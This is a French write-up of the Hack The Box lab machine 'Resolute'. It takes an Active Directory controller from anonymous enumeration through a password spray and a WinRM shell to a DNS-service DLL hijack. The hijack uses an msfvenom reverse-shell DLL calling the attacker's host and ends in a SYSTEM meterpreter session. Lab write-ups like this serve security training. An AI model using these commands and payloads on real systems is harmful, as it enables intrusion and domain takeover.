Resolute est une machine Windows considérée comme facile/moyenne et orientée Active Directory. Un pseudo accès anonyme permet d’énumérer les comptes du domaine et ainsi identifier un mot de passe par défaut. L’obtention d’un shell via WinRM permet par la suite d’énumérer les propriétés du domaine et de trouver un mot de passe pour un utilisateur membre du groupe local “DnsAdmins”. L’escalade de privilège est réalisée au travers d’un DLL hijacking.
Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.
Découverte / Énumération
Un rapide scan de ports permet d’obtenir les services présents sur la machine.
$ sudo nmap -sS -T4 -p0-10000 -sV -O -sC 10.10.10.169 -v
Nmap scan report for 10.10.10.169
Host is up (0.13s latency).
Not shown: 9988 closed ports
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-11 18:35:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
Le domaine est ainsi repéré et les différents services semblent indiquer que l’on se trouve face à un contrôleur de domaine Active Directory.
Il est possible d’interroger l’AD en tant qu’utilisateur anonyme, ce qui permet notamment de récupérer la liste des utilisateurs du domaine (entre autres). L’outil enum4linux permet d’automatiser l’extraction de quelques informations de l’AD. Une information intéressante est identifiée dans le champs description de l’utilisateur marko
(cf partie suivante).
$ enum4linux -a 10.10.10.169
=============================
| Users on 10.10.10.169 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
Note importante : Afin d’éviter les problèmes de résolution DNS, ne pas oublier de renseigner les informations de la machine dans les fichiers resolv.conf
et hosts
.
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalinux
10.10.10.169 megabank.local
$ cat /etc/resolv.conf
search megabank.local
nameserver 10.10.10.169
Mot de passe par défaut et shell utilisateur
L’énumération précédente indique la note Account created. Password set to Welcome123!
pour l’utilisateur marko. Ainsi il est probable qu’il s’agisse d’un mot de passe par défaut mis en place par les administrateurs système.
On construit une simple wordlist d’utilisateur basée sur ceux récupérés auparavant et on tente une connexion avec chacun d’eux.
$ crackmapexec smb 10.10.10.169 -u user_list -p 'Welcome123!'
CME 10.10.10.169:445 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:MEGABANK)
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\abigail:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\Administrator:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\angela:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\annette:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\annika:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\claire:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\claude:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\felicia:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\fred:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\Guest:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\gustavo:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\krbtgt:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\marcus:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [-] MEGABANK\marko:Welcome123! STATUS_LOGON_FAILURE
CME 10.10.10.169:445 RESOLUTE [+] MEGABANK\melanie:Welcome123!
[*] KTHXBYE!
L’utilisateur melanie
est ainsi récupéré !
Cependant, ce compte n’est pas administrateur et les possibilités d’exécution de commande à distance sont limitées.
C’est là qu’intervient WinRM (Windows Remote Management). Il s’agit d’un service/protocole Microsoft HTTP, basé sur WS-Management (SOAP) qui permet l’administration à distance de machines sous Windows.
De retour à notre scan nmap, le port 5985, utilisé par défaut par WinRM, est ouvert.
Plusieurs façon d’exploiter. J’ai choisi d’utiliser le script Ruby suivant.
$ cat winrm_shell.rb
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.169:5985/wsman',
user: 'MEGABANK\melanie',
password: 'Welcome123!',
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
Ce qui donne un accès à la machine ainsi que le premier flag !
$ ruby winrm_shell.rb
PS > whoami
megabank\melanie
PS > type ../Desktop/user.txt
0cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
PS >
Énumération et compromission d’un second compte
Une énumération rapide des utilisateurs et groupes du domaine nous permet d’apprendre que l’utilisateur ryan est membre du groupe Contractors
, lui même membre du groupe local DnsAdmins
, ce qui en fait une cible de choix.
PS > net user ryan /domain
User name ryan
Full Name Ryan Bertrand
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/22/2020 9:15:02 AM
Password expires Never
Password changeable 2/23/2020 9:15:02 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Contractors
The command completed successfully.
PS > net localgroup DnsAdmins
Alias name DnsAdmins
Comment DNS Administrators Group
Members
-------------------------------------------------------------------------------
Contractors
The command completed successfully.
La suite de l’énumération se passe au niveau des fichiers de la machine. Après plusieurs tentatives de récupération d’information, on réussit à récupérer le compte utilisateur de ryan, laissé dans un fichier.
PS > findstr /si ryan *.xml *.ini *.txt *.config *.sql *.php *.asp *.jsp *.bat *.vbs
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:PS megabank\ryan@RESOLUTE Documents>
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:Username: MEGABANK\ryan
PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:RunAs User: MEGABANK\ryan
findstr.exe : FINDSTR: Cannot open Windows\Panther\UnattendGC\diagerr.xml
+ CategoryInfo : NotSpecified: (FINDSTR: Cannot...dGC\diagerr.xml:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
FINDSTR: Cannot open Windows\Panther\UnattendGC\diagwrn.xml
FINDSTR: Cannot open Windows\PLA\System\System Diagnostics.xml
FINDSTR: Cannot open Windows\PLA\System\System Performance.xml
FINDSTR: Cannot open Windows\System32\Sysprep\Panther\diagerr.xml
FINDSTR: Cannot open Windows\System32\Sysprep\Panther\diagwrn.xml
En modifiant le script WinRM utilisé auparavant, on peut récupérer un shell avec notre nouvel utilisateur.
PS > whoami
megabank\ryan
PS > pwd
Path
----
C:\Users\ryan\Documents
Escalade de privilège - DLL Hijacking
Quelques recherches Internet nous apprennent un moyen de réaliser une escalade de privilège sur une machine Windows pour un utilisateur étant membre du groupe DnsAdmins
.
Il est en effet possible de faire charger la DLL de notre choix par le service DNS. Cette dernière sera par la suite exécutée avec les droits SYSTEM.
Les ressources suivantes expliquent la vulnérabilité :
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise
- https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2
Première étape, générer une DLL contenant un reverse shell vers notre machine.
$ sudo msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.28 LPORT=5566 -f dll > privesc.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes
On créé par la suite un server SMB temporaire, nous permettant de charger à distance la DLL.
$ sudo smbserver.py MYSHARE /path/to/HackTheBox/Resolute -smb2support
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Dernière étape de préparation, on lance notre handler afin de récupérer la connexion entrante. Une fois cela fait, l’exploitation est plutôt rapide et doit être rapide. En effet, je ne suis pas en mesure de dire si cela vient d’un éventuel antivirus sur la machine ayant détecté notre DLL malveillante, ou une simple configuration afin de rendre la machine accessible à tous, mais il s’avère que chaque utilisateur semble disposer d’un temps limité pour exploiter la vulnérabilité une fois la clé de registre mise en place. Après un certain temps, celle ci est nettoyée.
Bien ! La première étape est d’indiquer au serveur DNS d’aller chercher notre DLL malveillante.
PS > dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.14.28\TESTLOL\privesc.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
On peut confirmer le succès de la commande en allant inspecter la clé de registre associée.
PS > Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
ServerLevelPluginDll : \\10.10.14.28\TESTLOL\privesc.dll
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS
PSChildName : Parameters
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Par la suite, il est nécessaire de redémarrer le service DNS afin de charger la DLL.
PS > sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PS > sc.exe query dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PS > sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3340
FLAGS :
Entre temps, on récupère un joli meterpreter :).
msf5 exploit(multi/handler) >
[*] Sending stage (206403 bytes) to 10.10.10.169
[*] Meterpreter session 1 opened (10.10.14.28:5566 -> 10.10.10.169:63985) at 2020-02-22 17:02:49 +0100
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 3288 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>c
Nous permettant ainsi de compromettre entièrement la machine et d’aller chercher le flag root !
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktop>hostname
hostname
Resolute
w00ted !